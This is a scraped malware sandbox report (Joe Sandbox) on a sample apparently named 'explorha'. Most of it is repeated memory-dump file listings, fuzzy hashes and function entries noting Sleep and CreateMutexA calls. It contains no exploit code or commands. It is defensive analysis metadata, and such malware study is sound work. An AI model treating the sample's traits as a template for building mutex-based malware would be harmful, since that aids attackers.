Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 313a55c92af7562d72aae1262e2ca837191e211ed4894e9a31b9b49c51374fa0
Instruction ID: 01a1a8e2d3b6ca50572607c3b6364c12613b25e09bac2326d76f0cbe594aac94
Opcode Fuzzy Hash: 313a55c92af7562d72aae1262e2ca837191e211ed4894e9a31b9b49c51374fa0
Instruction Fuzzy Hash: D23149B27141409BEB18DB7CCDC97AEBBB2EF85310F308659E416AB3E1DB7589808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 787f966646fc8b4f6e5a720b79c7ba47ed1e0deed890895603c37a30ced3ac15
Instruction ID: a6a921ffffc76917b8d06130fa5900b309bfa9f90ce606fd259124e067847e62
Opcode Fuzzy Hash: 787f966646fc8b4f6e5a720b79c7ba47ed1e0deed890895603c37a30ced3ac15
Instruction Fuzzy Hash: C73178B17102448BEB08DB28DDC97AEBBA2EF85314F30831AE4269B3D1C77599808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 991279e10eb24ef7502e38facc859b4129a9575512c2eb3088598d14fc3d7282
Instruction ID: c34fcf47a53a5d9999b6d5e410e7a236c4ffd148811daa789b2bd48bebe7dc72
Opcode Fuzzy Hash: 991279e10eb24ef7502e38facc859b4129a9575512c2eb3088598d14fc3d7282
Instruction Fuzzy Hash: 113169727101409BEB18DB78CD8D7ADBBB2EF85310F308619E416AB3E1D77589808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: eeae7d11763357fa2d35caf981de5626e9b054e28f24ab19850e8c5b8769306b
Instruction ID: b93b35342845144e6fa8e079c3c2f08c47028bcd9c7e8dc040bf6d875cb35104
Opcode Fuzzy Hash: eeae7d11763357fa2d35caf981de5626e9b054e28f24ab19850e8c5b8769306b
Instruction Fuzzy Hash: 803148B17102408BEB18DB78CD897AEBBB2EF89314F208259F416D73D5DBB589808761

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8f573a8cc5fded524285219a7694ae5bab55417b6e7e55b5472ece95a5fa815f
Instruction ID: a976564285fa44c7156ac7e57ae306bf963cb3be37ea820caadfda55fff97ce4
Opcode Fuzzy Hash: 8f573a8cc5fded524285219a7694ae5bab55417b6e7e55b5472ece95a5fa815f
Instruction Fuzzy Hash: B4316CB27001409BEB08DB78CD8D7ADBBB2EF96314F208269E416973D6CB7549808762

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
